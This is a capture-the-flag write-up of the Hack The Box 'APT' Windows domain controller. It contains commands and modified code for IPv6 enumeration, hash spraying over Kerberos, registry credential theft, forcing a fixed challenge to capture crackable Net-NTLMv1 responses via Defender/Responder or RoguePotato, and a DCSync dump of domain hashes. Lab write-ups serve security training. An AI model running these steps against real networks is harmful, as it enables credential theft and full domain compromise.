Insane

HTB: APT

QA210 · Apr 2021 · Windows DC · IPv6 · Net-NTLMv1
Box
APT
Difficulty
Insane
OS
Windows
Creator
cube0x0
Domain
htb.local
Key Tech
IOXIDResolver / NTLMv1
APT RPC IOXIDResolver IPv6 address
IPv6 nmap SMB backup share backup.zip
Crack zip secretsdump 2000 NTLM hashes
kerbrute henry.vinson
pyKerbrute hash spray henry.vinson valid hash
Remote Registry HKCU henry.vinson_adm:G1#Ny5@2dvht
WinRM lmcompatibilitylevel=2 (NTLMv1)
Capture Net-NTLMv1 (Defender/RoguePotato) crack.sh APT$ NT hash
secretsdump with APT$ hash Administrator

Recon

Initial Nmap Scan

The initial TCP scan reveals an extremely limited attack surface. Only two ports are open: HTTP on port 80 and MSRPC on port 135. There are no signs of SMB (445), LDAP (389), Kerberos (88), or WinRM (5985) that would typically indicate a Windows Domain Controller. This sparse result immediately suggests that the host is heavily firewalled on IPv4 and that we will need to find an alternative access vector to reach the full suite of Windows services.

bash
$ sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.213
PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc
bash
$ nmap -p 80,135 -sCV 10.10.10.213
PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
135/tcp open  msrpc   Microsoft Windows RPC

Website — TCP 80

The website belongs to a hosting company called "Gigantic Hosting." The site is static with a contact form that submits to an internal IP address (10.13.38.16), which is a leftover from the HTB Endgame Hades environment. A comment in the HTML source confirms it was mirrored using HTTrack Website Copier. Directory brute-forcing with Feroxbuster yields nothing useful, and the site does not contain any exploitable vulnerabilities. This is a dead end — the real attack path lies through RPC.

IPv6 Discovery via IOXIDResolver

RPC Endpoint Enumeration

TCP port 135 hosts the RPC Endpoint Mapper and COM Service Control Manager. Using rpcmap.py from Impacket with a direct TCP string binding, we can enumerate the RPC endpoints registered on the host. Among the results, the IObjectExporter interface (UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A) stands out — this is the IOXIDResolver interface, famously used in the Potato family of privilege escalation exploits.

bash
$ rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0

Enumerating Network Interfaces

The IOXIDResolver interface exposes a method called ServerAlive2 that returns the network bindings of the host, including IPv6 addresses. This is a well-documented technique that allows unauthenticated enumeration of a server's network interfaces. Using a POC script based on the research from airbus-seclab, we can query this interface and retrieve the IPv6 addresses of the target.

bash
$ python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::9514:421b:5cde:a7da
Key Insight — IPv6 Bypasses Firewall

The Windows Firewall on APT is configured to block most incoming IPv4 connections, but the IPv6 interface is far more permissive. By scanning the IPv6 address, we can access the full range of Windows Domain Controller services that are hidden behind the IPv4 firewall. This is a common misconfiguration in enterprise environments where IPv6 security is neglected in favor of IPv4-focused firewall rules.

Full Port Scan over IPv6

Scanning the discovered IPv6 address reveals a dramatically different attack surface. The host is clearly a Windows Domain Controller running DNS, Kerberos, LDAP, SMB, and WinRM — all the services we would expect from a DC, but none of which were accessible over IPv4.

bash
$ nmap -6 -p 53,80,88,135,389,445,464,593,636,3268,3269,5985,9389 -sCV dead:beef::b885:d62a:d679:573f
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos
135/tcp  open  msrpc        Microsoft Windows RPC
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393
636/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (SSL)
3268/tcp open  globalcatLDAP
5985/tcp open  wsman        WinRM
9389/tcp open  adws         .NET Message Framing

SMB — Backup Share

With SMB accessible over IPv6, we can enumerate shares anonymously. CrackMapExec (with IPv6 support from version 5.1.6dev) or smbclient both reveal a share named backup with READ permissions for anonymous users. This share contains a single file: backup.zip.

bash
$ smbclient '\\\\dead:beef::b885:d62a:d679:573f\\backup'
Anonymous login successful
smb: \> dir
  backup.zip        A 10650961  Thu Sep 24 03:30:32 2020
smb: \> get backup.zip

The ZIP file contains a backup of an Active Directory environment — specifically the ntds.dit database and the registry SYSTEM and SECURITY hives. These are the exact files needed to dump all AD credentials offline using tools like secretsdump.py. However, the archive is password-protected.

bash
$ unzip -l backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
 50331648  2020-09-23 19:38   Active Directory/ntds.dit
    16384  2020-09-23 19:38   Active Directory/ntds.jfm
   262144  2020-09-23 19:22   registry/SECURITY
 12582912  2020-09-23 19:22   registry/SYSTEM

Cracking the ZIP Password

Using zip2john to extract the hash and hashcat with mode 17220 (PKZIP Compressed Multi-File), the password cracks quickly from the RockYou wordlist:

bash
$ zip2john backup.zip > backup.zip.hash
$ hashcat -m 17220 backup.zip.hash /usr/share/wordlists/rockyou.txt --user
...iloveyousomuch

Dumping AD Hashes

With the ZIP decrypted, secretsdump.py can extract all NTLM hashes from the offline AD database. The dump contains approximately 2000 user accounts with their corresponding hashes — a treasure trove of potential credentials, but we need to determine which of these accounts still exist on the live system.

bash
$ secretsdump.py -system registry/SYSTEM -ntds "Active Directory/ntds.dit" LOCAL > backup_ad_dump
$ grep ':::' backup_ad_dump | wc -l
2000
Important — Backup vs. Live AD

The backup represents a snapshot of the AD environment at a previous point in time. Most of the 2000 users from the backup may no longer exist on the current live domain. The Administrator hash from the backup does not work against the live system, confirming that passwords have been changed since the backup was created. We need to find accounts that exist in both the backup and the live AD.

User Discovery via Kerbrute

Since Kerberos is available on IPv6 (TCP 88), we can use kerbrute to enumerate valid usernames against the live domain. Kerbrute sends AS-REQ requests and distinguishes between "user not found" errors and "pre-auth required" responses, which indicates a valid account. We extract the list of 2000 usernames from the backup dump and test them all.

Getting kerbrute to work with IPv6 requires adding the IPv6 address to /etc/hosts mapped to apt.htb and htb.local, then specifying the domain controller hostname rather than a raw IPv6 address.

bash
$ kerbrute userenum -d apt.htb --dc apt.htb users
2021/04/02 13:54:51 > [+] VALID USERNAME:       APT$@htb.local
2021/04/02 13:54:52 > [+] VALID USERNAME:       Administrator@htb.local
2021/04/02 13:58:39 > [+] VALID USERNAME:       henry.vinson@htb.local
2021/04/02 14:11:40 > Done! Tested 2000 usernames (3 valid)

Out of 2000 users from the backup, only henry.vinson is a valid non-system account on the live domain. This is our target — but the NTLM hash from the backup does not work for this account on the live system, meaning the password has been changed.

Kerberos Hash Brute Force

SMB Brute Force Blocked by Wail2Ban

The logical next step is password reuse: try all 2000 NTLM hashes from the backup against the single valid username henry.vinson. However, attempting this over SMB with CrackMapExec triggers a brute-force protection mechanism called wail2ban installed on the host. After approximately 60 failed authentication attempts, the box stops responding entirely to SMB connections from our IP, requiring a box reset to regain access. This forces us to find an alternative authentication channel.

Modified pyKerbrute

Kerberos pre-authentication provides an ideal alternative channel. The idea is to test each hash from the backup as a Kerberos encryption key for henry.vinson. If the hash is correct, the AS-REQ will be accepted (or at least not return a pre-auth failure), confirming the credential. pyKerbrute is close to what we need — it accepts a list of users and a single hash — but we need the inverse: a single user with a list of hashes. We modify the main loop to iterate over hashes instead of usernames, calling the existing passwordspray_tcp function for each one.

python
if __name__ == '__main__':
    kdc_a = sys.argv[1]
    user_realm = sys.argv[2].upper()
    username = sys.argv[3]

    print('[*] DomainControlerAddr: %s' % kdc_a)
    print('[*] DomainName:          %s' % user_realm)
    print('[*] Username:            %s' % username)
    print('[*] Using TCP to test a single username with list of hashes.')

    with open(sys.argv[4], 'r') as f:
        ntlm_list = list(map(str.strip, f.readlines()))

    for h in ntlm_list:
        user_key = (RC4_HMAC, h.decode('hex'))
        passwordspray_tcp(user_realm, username, user_key, kdc_a, h)

Running the modified script against the full hash list finds a valid credential:

bash
$ python2 kerbBruteHash.py apt.htb htb.local henry.vinson hashes-ntlm
[*] DomainControlerAddr: apt.htb
[*] DomainName:          HTB.LOCAL
[*] Username:            henry.vinson
[+] Valid Login: henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb
Valid Credential Found

henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb — One of the 2000 hashes from the backup still works for this user on the live domain. This is a password reuse finding: the user's NTLM hash was not changed when the AD was rebuilt.

Shell as henry.vinson_adm

Remote Registry Discovery

With valid NTLM credentials for henry.vinson, we can access the remote registry. Using either the Windows API from a Windows attack station (via Mimikatz pass-the-hash) or Impacket's reg.py from Linux, we can enumerate registry keys. While HKLM access is denied, HKCU (the current user's hive) is accessible because henry.vinson has an active session on the host.

bash
$ reg.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb \
    -dc-ip htb.local htb.local/henry.vinson@htb.local query \
    -keyName HKU\\SOFTWARE\\GiganticHostingManagementSystem

HKU\SOFTWARE\GiganticHostingManagementSystem
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht

The registry key HKU\SOFTWARE\GiganticHostingManagementSystem stores credentials for the henry.vinson_adm account — an administrative account with the password G1#Ny5@2dvht. The _adm suffix strongly suggests elevated privileges, and this account has WinRM access.

WinRM Shell

bash
$ evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'
Evil-WinRM shell v2.4
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>

Privilege Escalation — Net-NTLMv1

PowerShell History Hint

Enumeration of the henry.vinson_adm account reveals a PowerShell history file that contains a critical hint:

powershell
PS> cat C:\Users\henry.vinson_adm\AppData\Roaming\microsoft\windows\powershell\PSREadline\ConsoleHost_history.txt
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

This command sets LmCompatibilityLevel to 2, which means the server accepts NTLMv1 authentication. NTLMv1 is cryptographically weak and can be cracked using rainbow tables. Verifying the current setting on the host confirms it is still set to 2:

powershell
PS> Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel
lmcompatibilitylevel : 2

Strategy — Cracking Net-NTLMv1

The goal is to capture a Net-NTLMv1 challenge-response from the SYSTEM account (APT$). Net-NTLMv1 uses weak DES-based encryption, and crack.sh maintains precomputed rainbow tables for the fixed challenge 1122334455667788. By controlling the NTLM challenge in a capture server, we can set it to this known value and then submit the resulting response to crack.sh for instant decryption, recovering the NTLM hash of the machine account.

How crack.sh Works

crack.sh built rainbow tables for the specific 8-byte NTLM challenge 1122334455667788. Normally, a unique server-generated challenge prevents rainbow table attacks. But when we control the server (Responder or a custom RPC server), we can force this specific challenge, making the rainbow table lookup trivial. The service returns the NT hash within minutes for free.

Method 1 — Defender + Responder (Unintended)

Windows Defender can be instructed to scan a specific file path, including UNC paths on remote SMB shares. When Defender scans a file on an attacker-controlled share, it authenticates as the SYSTEM account (APT$). By running Responder with the --lm flag to force LM downgrade and a modified challenge of 1122334455667788, we capture the Net-NTLMv1 response.

bash
# In /etc/responder/Responder.conf, set challenge to 1122334455667788
$ sudo responder -I tun0 --lm
powershell
PS> &"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\10.10.14.9\share\file.txt

Responder captures the Net-NTLMv1 hash of the APT$ machine account:

bash
[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

Method 2 — RoguePotato + Custom RPC Server (Intended)

The intended path uses RoguePotato to trigger an NTLM authentication from SYSTEM to a custom RPC server. This requires significant modifications to both RoguePotato (IPv6 support) and ntlmrelayx (custom RPC relay server with fixed challenge). The key changes include:

python
# Key modification in rpcrelayserver.py do_ntlm_negotiate:
def do_ntlm_negotiate(self, token):
    self.target = self.server.config.target.getTarget(None)
    self.client = smbrelayclient.SMBRelayClient(self.server.config, self.target)
    if not self.client.initConnection():
        raise Exception("Failed to connect to SMB")
    self.challengeMessage = self.client.sendNegotiate(token)
    # Force the known challenge for crack.sh rainbow tables
    self.challengeMessage['challenge'] = bytes.fromhex('1122334455667788')
    data = bytearray(self.challengeMessage.getData())
    data[22] = data[22] & 0xf7  # Disable ESS
    self.challengeMessage = bytes(data)

Running the custom RPC server and triggering RoguePotato produces the same Net-NTLMv1 hash as the Defender method, confirming both paths lead to the same result:

bash
$ python rpcsrv.py
[+] APT$::HTB:95aca8c7248774cb427e1ae5b8d5ce6830a49b5bb858d384:95aca8c7248774cb427e1ae5b8d5ce6830a49b5bb858d384:1122334455667788 ntlm

Shell as Administrator

Cracking with crack.sh

Submitting the Net-NTLMv1 hash to crack.sh returns the NTLM hash of the APT$ machine account within minutes. The rainbow table lookup exploits the weak DES encryption in NTLMv1 to recover the original NT hash used to generate the challenge response.

Dumping Live AD Hashes

With the machine account NT hash, we can use secretsdump.py to perform a DCSync attack and dump all domain credentials from the live AD, including the Administrator hash:

bash
$ secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::

Administrator Shell

The Administrator NTLM hash grants full access to the domain controller via WinRM:

bash
$ evil-winrm -u administrator -H c370bddf384a691d811ff3495e8a72e2 -i apt.htb
Evil-WinRM shell v2.4
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\desktop\root.txt
d93e6432************************